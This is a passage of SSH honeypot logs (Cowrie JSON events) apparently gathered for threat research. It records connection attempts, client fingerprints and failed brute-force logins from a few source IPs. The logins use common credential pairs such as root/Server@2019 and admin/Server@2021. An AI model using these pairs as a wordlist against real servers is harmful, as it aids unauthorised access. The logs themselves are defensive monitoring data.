03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.689204Z","src_ip":"101.47.156.21","session":"99029af5b1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2016","message":"login attempt [user/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:23.392814Z","src_ip":"103.114.153.158","session":"369e83a0c969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:23.401742Z","src_ip":"103.25.47.94","session":"b7d172c8e56a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"script","password":"script","message":"login attempt [script/script] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:23.710321Z","src_ip":"101.47.156.21","session":"99029af5b1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:23.873552Z","src_ip":"103.114.153.158","session":"369e83a0c969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8de544a5d25","protocol":"ssh","message":"New connection: 103.114.153.158:59012 (10.17.0.5:22) [session: a8de544a5d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:24.059701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:24.068354Z","src_ip":"103.114.153.158","session":"a8de544a5d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:24.261361Z","src_ip":"103.114.153.158","session":"a8de544a5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:24.961400Z","src_ip":"101.47.156.21","session":"99029af5b1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2016","message":"login attempt [user2/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:25.050971Z","src_ip":"103.114.153.158","session":"a8de544a5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:25.531266Z","src_ip":"103.114.153.158","session":"a8de544a5d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59026,"dst_ip":"10.17.0.5","dst_port":22,"session":"22602a83802c","protocol":"ssh","message":"New connection: 103.114.153.158:59026 (10.17.0.5:22) [session: 22602a83802c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:25.733033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:25.737642Z","src_ip":"103.114.153.158","session":"22602a83802c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:25.932295Z","src_ip":"103.114.153.158","session":"22602a83802c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:26.739993Z","src_ip":"103.114.153.158","session":"22602a83802c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.221994Z","src_ip":"103.114.153.158","session":"22602a83802c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":35540,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8eac8d7fa2","protocol":"ssh","message":"New connection: 123.58.209.58:35540 (159.203.135.109:22) [session: 7b8eac8d7fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.343248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.349122Z","src_ip":"123.58.209.58","session":"7b8eac8d7fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe9f07ee3ac","protocol":"ssh","message":"New connection: 103.114.153.158:59040 (10.17.0.5:22) [session: bfe9f07ee3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.415277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.421617Z","src_ip":"103.114.153.158","session":"bfe9f07ee3ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.565242Z","src_ip":"123.58.209.58","session":"7b8eac8d7fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:27.609235Z","src_ip":"103.114.153.158","session":"bfe9f07ee3ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2019","message":"login attempt [admin/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:28.390914Z","src_ip":"103.114.153.158","session":"bfe9f07ee3ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:28.460878Z","src_ip":"123.58.209.58","session":"7b8eac8d7fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:28.871381Z","src_ip":"103.114.153.158","session":"bfe9f07ee3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59054,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f325e177cc2","protocol":"ssh","message":"New connection: 103.114.153.158:59054 (10.17.0.5:22) [session: 9f325e177cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:29.077775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:29.082199Z","src_ip":"103.114.153.158","session":"9f325e177cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:29.279934Z","src_ip":"103.114.153.158","session":"9f325e177cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:29.683383Z","src_ip":"123.58.209.58","session":"7b8eac8d7fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2019","message":"login attempt [user/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:30.102896Z","src_ip":"103.114.153.158","session":"9f325e177cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:30.582167Z","src_ip":"103.114.153.158","session":"9f325e177cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60800,"dst_ip":"10.17.0.5","dst_port":22,"session":"839993bdae57","protocol":"ssh","message":"New connection: 103.114.153.158:60800 (10.17.0.5:22) [session: 839993bdae57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:30.804099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:30.809896Z","src_ip":"103.114.153.158","session":"839993bdae57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:31.012449Z","src_ip":"103.114.153.158","session":"839993bdae57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2019","message":"login attempt [user2/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:31.851271Z","src_ip":"103.114.153.158","session":"839993bdae57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:32.332435Z","src_ip":"103.114.153.158","session":"839993bdae57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60810,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f38ac9eb9d7","protocol":"ssh","message":"New connection: 103.114.153.158:60810 (10.17.0.5:22) [session: 4f38ac9eb9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:32.533715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:32.538240Z","src_ip":"103.114.153.158","session":"4f38ac9eb9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:32.734538Z","src_ip":"103.114.153.158","session":"4f38ac9eb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2021","message":"login attempt [root/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:33.551916Z","src_ip":"103.114.153.158","session":"4f38ac9eb9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:34.032490Z","src_ip":"103.114.153.158","session":"4f38ac9eb9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60822,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbefbf9639a","protocol":"ssh","message":"New connection: 103.114.153.158:60822 (10.17.0.5:22) [session: 5bbefbf9639a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:34.212432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:34.217124Z","src_ip":"103.114.153.158","session":"5bbefbf9639a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:34.408454Z","src_ip":"103.114.153.158","session":"5bbefbf9639a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2021","message":"login attempt [admin/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:35.193709Z","src_ip":"103.114.153.158","session":"5bbefbf9639a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:35.674435Z","src_ip":"103.114.153.158","session":"5bbefbf9639a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9903c2637b8","protocol":"ssh","message":"New connection: 103.114.153.158:60826 (10.17.0.5:22) [session: f9903c2637b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:35.877115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:35.882098Z","src_ip":"103.114.153.158","session":"f9903c2637b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 